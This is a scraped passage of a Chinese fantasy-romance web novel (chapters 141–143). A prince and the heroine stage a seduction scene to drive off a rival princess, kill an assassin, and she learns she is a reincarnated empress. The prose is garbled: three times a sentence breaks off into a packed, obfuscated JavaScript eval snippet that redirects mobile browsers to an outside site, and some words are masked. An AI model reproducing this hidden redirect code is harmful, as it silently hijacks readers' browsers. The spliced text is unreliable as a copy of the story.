不是他多想,实在是他家爷这个样子,像极了等待皇帝宠幸的妃子。 太离谱。 “……是。” 他应了一声,转身去换了熏香。 院外,三公主带来的人静悄悄地躲着,盯着这边的一举一动,当然谢景珩和暗影说的话,他们也都听到了。 “离谱,鹅梨帐中香,那不是助兴的吗?” “珩王正在温泉沐浴,难不成今天晚上他那位情郎会来?居然准备这么充分,总不能说他真好那一口?” “等!” 众人面面相觑,屏气凝神再次将注意力集中在凌烟阁,但因为听到这么劲爆的事情,多少还是都有些心猿意马,面色诡异。 不多时,谢景珩出了温泉。 他换了一身很特别的衣服,看着柔滑诱人,实则一碰就破,偏偏声音还不小。 可谓是万事俱备只欠东风。 “以身为饵,鱼要上钩了吗?”他头发微湿,站在床边抚过上面的锦缎被褥,偶尔落在的水滴让他身上透出一股致命的吸引力。 凌烟阁当中,被一股古怪的气氛笼罩着。 萧明月抓了珩王府的一个侍卫,厉声问道:“你家王爷之前也是如此?” 侍卫早就被吩咐叮嘱过,脑袋晕乎乎说谎,“是,王爷对男人一往情深,每天夜里都会沐浴焚香,点上蜡烛等待那人前来。” “沐浴焚香?” 萧明月攥紧拳头,心中滋味难明。 谢景珩是多喜欢那人,才会如此卑微等着承欢身下? 她感觉自己的心在颤抖,被浸泡在嫉妒与愤怒的毒液当中难以自救,气得眼睛都红了,“那到底是一个什么样的人?” 第141章 可不可以假戏真做? 第一百四十一章可不可以假戏真做? 侍卫道:“武功在王爷之上,比王爷强大,据说还很俊美……” 萧明月:“……” 清姬闻言看向她,“照着这么说,珩王应该慕强……” 意思很明显了,不但性别不对,就是实力上,萧明月也远远不是谢景珩想要的那种,在实力上碾压他,让他屈居于下之人。 这婚事,多半是真的没戏了。 萧明月一张脸拉得像驴子似的,不想再说一个字,只是抿着嘴唇,紧盯着凌烟阁那边,仿佛要将眼珠子挤出来。 混乱中,时间流过。 斗转星移,月上中天。 谢景珩自己喝了一点点酒,酒色将他的容颜衬托的比往常还要勾人,就连眼中星光,都犹如像是被雨水刚刚洗过,透出一股诱人的潋滟。 他的心跳得很快。 虽然容汀兰对他“霸王硬上弓”已经好几次了,可这是唯一一次她清醒着过来的。 也是他可以确认,她的确对他欲罢不能的一次。 想到在迎春楼丢给她的那半截红绸,他嘴角微微上扬,心间涌上某种不可言状的期待,耳迹微红。 外面气机微动。 一阵春风吹过,月影随之摇曳,男人感受到移动,嘴角轻轻一勾,“她来了。” 容汀兰一身黑衣掠过夜色。 气势足的时候,身上亦有种亦正亦邪、狂放不羁的江湖气。 很是勾人。 今夜她一身男装,雌雄莫辩。 人没到声先闻,只听得一道爽快的笑声穿透夜色,飘过院墙,刹那间便到了院内,“阿珩,几日没来看你,可有想我?” 脚下一点,她落在院中,走向凌烟阁,“今夜,我们玩点刺激的。” 登时,四周蹲守的暗卫眼珠都快掉下来了。 鸡皮疙瘩落下一地。 “来、来了?” 清姬目瞪口呆,下意识看向身侧的萧明月,有些结巴,“真的是一个男的,而且说的那种话……想、想必不会怎么清白……” 一种不祥的预感涌上心头。 萧明月攥紧拳头,身子颤抖起来,正要说谢景珩不该是那样的人,结果隔壁屋里便传来谢景珩悦耳、热切,但勾人的声音。 还带着一点点怯,似是有点怕来人,“你又有什么花招?我告诉你,你要是再敢胡来,本王可就不理你了!” 嘴硬,但声音虚,好像过往被欺负得狠了! 容汀兰差点闪了腰。 但四周萧明月的人等着看戏呢,她可不能在这个时候掉链子。 于是一咬牙哼笑一声,刹那间出现在屋内,笑得邪肆,“阿衍总说不理我了,可每次在本公子身下承欢的时候,却又欢喜得很。” “分明,是很想本公子的嘛!” 黑影逼近,将男人抵在墙角,修长的手指挑起了他的下巴,暧昧呼吸,“是吧,阿衍?” 谢景珩的胸膛微微起伏。 她醒着的时候,演这一场戏活灵活现,仿佛她当真便是这样的人,邪肆霸道叫人迷惑。 他看着她,脑海里突然出现不一样的画面。 仿若看见她一身皇袍,将他抵在龙案之上,“阿衍,你有没有想朕?” 一股火热的气息,突然冲上脑门。 谢景珩耳迹微红,任由她将自己的双手按在头顶,垂眸道:“你就欺负本王拿你没办法。” 哀怨、宠溺、纵容。 复杂地情绪,婉转糅合在一起,看得容汀兰之直上头,似乎不再是演戏,而是这一切都是真的。 “就知道,你戒不掉本公子。” 容汀兰一笑,猛然弯腰一把把他抱起来,大步走向床榻。 瞬间,两人的脸都红得火烧火燎。 然而还没等容汀兰怎么样呢,谢景珩身上的衣服居然裂开了,发出一声清脆的裂帛声。 隔壁萧明月忍无可忍,不顾一切冲进了院中。 便听到这一声,伴随着谢景珩的嗔怨,“你来一次,本王的衣服废一次,当王府的钱是大风吹来的?” “就不能稍微温柔一点?” “可王爷喜欢霸道的,不是么?”容汀兰脸红心跳,索性抓住他的衣袍一扯,从窗口丢了出去,语调暧昧,“今夜,本公子将你绑起来好不好?” “你又想耍什么花招?” 谢景珩嘴上哀怨,心里沸腾。 容汀兰只觉得脑子嗡嗡的,迷迷糊糊把人绑在了床柱子上,对方半衣果的身体,让她鼻子发痒,一滴血毫无征兆掉了下来。 在月色里,在男人如玉的肌肤上,溅开一点点红,显得格外勾人,她的目光落下去,正好看到他勾人的鱼人线,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15806211|175154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及下方风光,顿时有点崩溃。 “王爷这衣服真是不禁碰,本公子都怀疑你是故意的……”虽然是演戏,但这话却是真的。 谢景珩突然凑近她耳边,低低道:“公子行医多年,难道就没见过别的男人的身体么?是更喜欢旁人的,还是更喜欢本王的?” “……” 容汀兰脑海里有什么,炸开了。 她只见过谢景渊和谢景珩的身体。 而谢景渊当时**,可不像是谢景珩现在这样,叫人…… “本公子最喜欢的,当然还是王爷。” 容汀兰脸上通红,即便是取了经,也一时间不知如何是好,谁料床上某人突然发出一声呻吟,“唔,你弄疼我了。” 容汀兰心头一跳,“有吗?那本公子轻一点……” 春色旖旎,她看不下去了,索性用自己的身子遮住了他,俯首吻上了男人的唇。 男人回应她,却又同时仿佛在挣扎。 床柱子摇晃起来。 萧明月冲进来的时候,看到谢景珩被绑在床柱子上面,一双手无助地挣扎着,而刚刚闯入的那黑衣男子正将他按在身下深吻。 谢景珩在回应,仰起的脖子,突出的喉结,以及在黑衣男子衣摆下方露出的少量肌肤,都透出一股令人脸红心跳的暧昧。 萧明月瞪大眼睛,“珩、珩王?” “停、停一下,有人来、来了……”男人在深吻的空隙,似乎恼羞,挣扎起来。 容汀兰本来无法入戏,可萧明月一闯进来,不知为何她自己也被激了一下,干脆抬手卡住他的下巴,“那就让她看着。” 说着,火热的吻,伴随着一只手,抚上了他的大腿,似乎探向某处不可言说的位置…… 谢景珩被撩拨得受不了了。 而容汀兰的理智也被冲散,屋里的熏香,微微的酒气,夹杂着内心涌动的独占欲,在这一刻彻底爆发,她的吻顺着他的下巴下移。 密密麻麻,犹如一簇簇火苗点燃他的勾结、他的胸口,一路向下…… “啊!” 萧明月一声尖叫,再也没办法承受这样的场景,转身冲出了房间。 谢景珩也坚持不住了。 他挣开手腕上的牵制,翻身将容汀兰压在身下,滚烫的嗓音带着一点点喘息和颤音,“可不可以……假戏真做?” 第142章 女帝燕龙昭 第一百四十二章女帝燕龙昭 容汀兰心跳如鼓。 理智告诉她应该冷静,心却犹如脱缰的烈马,身体更是在火上浇油,她感觉自己的灵魂深处,似乎有什么东西正在失控,那股力量强烈到,让她无法控制。 只想释放出来。 在抬头看他的某一个瞬间,她感觉谢景珩的脸变得古老,犹如埋藏在记忆深处的一串宝石一样,点亮了某些走马灯一般的记忆碎片。 心里突然变得很疼很疼。 那种疼,夹杂着愧疚,以及许多说不清道不明的东西,一股脑儿涌现出来。 “可……” 她点头。 刚说出一个字,外面突然传来暗影一声疾呼,“有刺客!” 刹那间,短兵相接的声音,冲散了两人之间的暧昧。 谢景珩憋了一肚子怒火,起身道:“我去看看。” “我去!” 容汀兰拉住了他。 “今天晚上,我不出手不合适。” 和谢景珩在一起,她是攻,武功在谢景珩之上,若是在刺客来袭的时候不出手,太不合理了。 而且,这种关系的情况下,她理应保护谢景珩。 谢景珩一愣,正要说什么,却从她眼底窥见了一抹前所未有的寒意,那种锋芒凌厉、霸道、有种气冲云霄横扫一切的气息。 那是女皇的气息! 她就算是没想起什么,至少也应该发生了某种变化! “好!” 谢景珩没再阻拦,他打算先看看,若容汀兰需要,他再出手。 容汀兰抓起了桌上的剑,走出门去。 今夜她女扮男装,一身黑衣出现在屋檐下,有种刀锋出鞘的锋芒,那种霸气居然让谢景珩心跳加速,以至于他都有些怀疑—— 自己是不是,真的……喜欢这种强弱对调的关系? 而电光石火之间,三公主的人已经躺了一地,暗影受伤,朝着凌烟阁这边倒飞回来。 容汀兰一把托住了他,身上气息骤变。 “来者何人?扰本公子好事,当本公子是吃素的?” 一声厉喝。 音未落,人已消失不见。 院中片刻死寂。 犹如时空皆在瞬间塌陷,陷入深渊,陷入黑洞。 随后,“砰”一声! 空气中传来一道闷哼,随后一个黑衣蒙面人落在墙头,满目忌惮地盯着凌空而立的容汀兰,眉心紧皱,“你又是何人?为何会在珩王府?” “杀你的人。” 容汀兰懒得和他废话,下一刻身影消失在原地。 黑衣人见状转身就跑。 一道剑气锁定了他。 剑未出鞘,但有一抹乌光犹如游龙穿透了他的身体,随后返回剑鞘。 黑衣人跌落在地,惊惧无比地看向容汀兰,“燕、燕……” 容汀兰皱眉,“燕什么?” “噗!” 突然,一道掌风袭来。 那人吐出一口黑血,彻底死去。 谢景珩披了件衣服,出现在容汀兰身侧,低声道:“三公主的人在场。” 容汀兰恍然,“这人说的话,是秘密?” “至少,不能让外人知晓。”谢景珩轻轻摇头,忽而拔高声音,“几日不见,你的武功又见涨。” 容汀兰回神,伸手在他脸上捏了一把,轻哼一声,“本公子若是连你都护不住,你会甘于屈居本公子之下?” 谢景珩:“……” 脸上说不上疼,但是第一次被这么调戏,感觉也很离谱。 “你、你们——” 萧明月回神,脸色煞白,盯着谢景珩和容汀兰瞳孔颤抖,“你们欺负人!” 在恐惧和委屈的双重作用之下,她终于扛不住“哇”一声大哭出声,“本公主再也不想看到你们了!我要回去找父皇!” “退婚!” 说完,带着残兵败将打道回府。 容汀兰在身后喊了一声,“别呀,本公子还指望你留下来,给我和阿衍当个挡箭牌呢。” “你休想!” 萧明月扭头,嘶声怒吼。 随后,一阵风一样往皇宫去。 她带来了将近二十人,但是走的时候,只剩下三个了。 剩下的,都被刚刚闯入的刺客给杀了。 珩王府的危险、邪门,都远超她的预料之外,就算是她再喜欢谢景珩,也扛不住了。 容汀兰目送她远去,扭头看向谢景珩,表情变得凝重,“这人到底是谁?他为何要刺杀你?是之前那个采花贼吗?” 谢景珩:“……” 他摇摇头,“他不是采花贼,他想杀的人不只有我,还有你。” “为何?” 容汀兰不解。 “先回去。” 谢景珩瞥了眼地上的尸体,走向书房。 容汀兰跟着进去,两人坐下来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15806212|175154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 谢景珩才正色看向她,“他刚刚想说的是,燕龙皇血!” “什么?” 容汀兰愣住,想到久远的神话,想到最近听到的羑洲,迷雾世界,燕龙古地,燕龙女帝等。 谢景珩道:“刚刚你出的那一剑,叫回龙斩。此剑与燕龙古地所有剑招都不一样,不是剑谱的问题,也不是心法,更不是剑招。” “而是,只有燕龙皇族传承的血脉特技。” “你身上,流淌着燕龙皇族的血液,若叫人知晓,不光是燕龙七国,便是羑洲人也会不惜一切代价追杀你。” “所以,我才杀了他。” “现在知道你身份的人不多,不能再扩散了。往后,你用这一招一定要非常谨慎,见过这一招的都要死。” 谢景珩的表情,是前所未有的严肃。 容汀兰听着这些话,将很多信息在脑海里过了一遍,逐渐梳理出要点。 “所以,我是燕龙皇族的传承,因此开启了天眼,而外面的人不但想要我的天眼,还想要我的血脉……” “但,”她看向谢景珩,问出关键问题,“这一切,究竟代表了什么?燕龙皇族的血脉那么多,为何我与众不同?” 她觉得谢景珩知道什么。 谢景珩也很无奈。 他想瞒一阵子的,但是时间不等人。 外面已经有人闯进来了,那就只能应对。 容汀兰不能自己被蒙在鼓里。 于是,他认真道:“燕龙皇族后裔很多,但能有你这个天赋的,只有一种情况。” “那就是,两千年前的燕龙女帝重生。” “什么?” 容汀兰愕然震惊,“你是说,我是燕龙女帝?” 这个消息,完全超出了她的想象。 毕竟,十天前说去燕龙皇族、迷雾世界的传说,她都以为那是神话,当不得真。 如今,她自己却成了两千年前神话的核心人物—— 燕龙女帝,燕龙昭! 谢景珩脸上,却没有半点开玩笑的意思,反而显得沉重,“燕龙女帝并没有死,她的一半灵魂被封印在龙纹章当中,另外一半在这个世上流浪,世代轮回。” “而轮回的那个人,就是你。” “……” 容汀兰满怀震惊,口干舌燥。 她想起了上次做的那个梦,谢景珩的说法,和她的梦境相互印证。 神话在此时此刻,照进了现实。 第143章 三千圣宠在一身 第一百四十三章三千圣宠在一身 “你让我缓一缓。” 容汀兰垂眸,看着檀木桌上的纹路,一时间难以平静。 而刚刚两人在床上的那份旖旎,此时也被冲得烟消云散。 谢景珩亦面色凝重,他给她倒了一杯热茶,说起正事,“我最近起了一卦,发现燕龙古地正在复苏。” 抬眼看向容汀兰,他目光炯炯,似乎要将她穿透,“那个复苏的契机,应该就是你。” 语气基本是笃定的。 “……” 容汀兰抬头看向他,觉得莫名其妙,“什么意思?” 她感觉有什么自己不知道的,正在悄无声息朝着她逼近。 隐约间,似乎是那神秘的迷雾世界。 “意思就是,这个世界会因为你的出现,发生翻天覆地的变化。” 危险已经来临。 谢景珩打算不再隐瞒。 他认真地看向她的眼,“嫂夫人,你能否告诉本王,你那一招回龙斩是谁教给你的?这个人至关重要,我们必须尽快见到他。” 容汀兰接过热茶喝了一口,暖意从口腔蔓延到胃部,又在全身散开。 她这才稍微缓过神。 “是我二师父,可我已经很久很久没见过他了,我不知他名讳,不知他来处,也不知他去处,甚至……” “不知他是男是女。” 对容汀兰而言,二师父和三师父都是谜一样的存在,他们出现得突兀,离开的也突兀,就好像是一场梦。 不过,容汀兰不理解,“王爷为何这么着急找他?” 未知正在逼近。 她对那些事情一无所知,现在谢景珩正在给她讲解、引路。 可是,她能完全信任他吗? 喜欢是一回事儿,真相是另外一回事儿。 镇南侯府就是被最亲近、最信任的背叛,才走上绝路的。 她纵然再爱,也不能完全迷失理智。 她看着谢景珩,眼底浮现审视。 谢景珩能感觉到她的警惕,警惕是好事,尤其是对她而言。 他叹了口气,“不是我着急,是你。” “什么意思?” 容汀兰紧盯着他,指间茶盏有些烫,但被她忽略了过去。 谢景珩不舍她惊弓之鸟的样子。 但也没办法,因为眼下真的很危险。 有些事情,他必须要直接告诉她,“羑洲人既然盯上了你,认出了你,这意味着今晚开始,会有一波又一波的刺客找上门来,他们的实力只会越来越强大。” 容汀兰闻言凝眉,“王爷怎么确定,今夜的刺客一定是针对我的呢?我是易容过来的,他们应该不知道我来了这边,若刺杀我,应该去紫烟阁。” “但他来了凌烟阁。” “凌烟阁是王爷的住处。” “……” 谢景珩无言以对。 他不得不承认,眼前这个小丫头在正事面前,脑子和警惕心都不是一般的敏锐。 “他的目标可能是我,但是当他认出的那个瞬间,你也会成为他们的目标。” 谢景珩道:“羑洲人这是第三次对我动手。” “第一次,是在我很小的时候,那一次我意外被一个小女孩给救了。” “第二次,是在江湖上,也被人顺手救下了。” “这是第三次。” 他看向容汀兰,感觉命运是在是个奇怪的东西,他三次活下来,都是因为容汀兰。 可能这就是缘分。 “这一次他们动手时认出了你,震惊程度不亚于遇见我。而你也知道,羑洲人正在找龙纹章,而你刚刚暴露出的秘密,足以证明抓到你,就有可能找到龙纹章。” “而且,必须要在你之前找到龙纹章,否则他们将无还手之力。” “……” 容汀兰听得云里雾里,但是有一些信息她还是明白了,“王爷的意思是,第一,你很特殊,羑洲人正在杀你。” “第二,我也很特殊,可能比你还特殊,羑洲人一旦发现我,就会杀我。或者,活捉我。” “第三,我可能和龙纹章有关。” “一旦掌控我,抓住我,就有可能利用某种指引,让他们找到龙纹章。而一旦找到龙纹章,他们将无敌?” “若我提前找到龙纹章,与龙纹章合一,那我将无人能敌?” 这理解力谢景珩佩服。 他点了点头,“正是这个道理。” “而迷雾世界的封印正在消散,估计用不了多久,羑洲人就会大批量闯进来,并且不会减损实力。” “到了那个时候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15806213|175154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你很难自保。” “若能找到教你回龙斩的那个人,你多半能学到全部的女帝传承,以与羑洲人抗衡。” 容汀兰听明白了。 又有一点不明白,“我二师父为何会女帝传承?” 谢景珩也觉得迷惑,但他有个猜想,“也许,等你想起全部的过往,便能明白为什么。” “当年,你既然留下一半元神永世轮回,那就必然还有后招,留下一些传承等你回归,辅助你重返巅峰,这是很有可能的事情。” 说到这里,他看向容汀兰,眼神有些复杂,“这个世界上,应该还有很多人等着你回来。你二师父,应该就是其中之一。” 还有谢家。 谢家,也在等着这一天。 谢家的祖上,是负责看护燕龙古地的,是女帝麾下的王。 是以,在燕龙古国**,影响到迷雾世界之后,他家从悬空岭出来,打算重新聚拢七国,入住了燕龙玉玺传承的北魏,打算一统天下。 但是没想到,中途出了事。 羑洲有人闯入,算计了他的祖上,导致皇族积弱,被狼子野心的萧家灭门,只剩下他一个人在外流浪。 三年前,他重返瀛洲,也是为了从萧家手上拿回皇权,同时找到玉玺,一统七国,将迷雾世界加固。 却没想到,在这个时候,遇上了谢家生生世世在等的那个人! 那个九天之上的至尊神女! 那个轮回万世不死不灭的灵魂! 更没想到,在等到这个人的时候,他已经以下犯上,和她有了不可名状的关系。 一时间,谢景珩想到龙凤佩,想到容汀兰夜夜爬床,想到今天晚上的荒唐事,忍不住按了按眉心。 他在燕龙女帝尚未恢复记忆,还是个幼崽的时候,把她给…… 也不知道,等她有朝一日记忆觉醒,会怎么对他? 谢景珩沉默了。 容汀兰打量着他略显尴尬的面容,不由诧异,“你……看上去好奇怪,好像想到了什么难以启齿的事情?” 可刚刚,不还在说她二师父吗? 太奇怪了。 “没有……” 谢景珩回神,掩饰了过去。 但眼神却显得更加晦暗莫名,转移话题问道:“对了,今天晚上你出全力了吗?”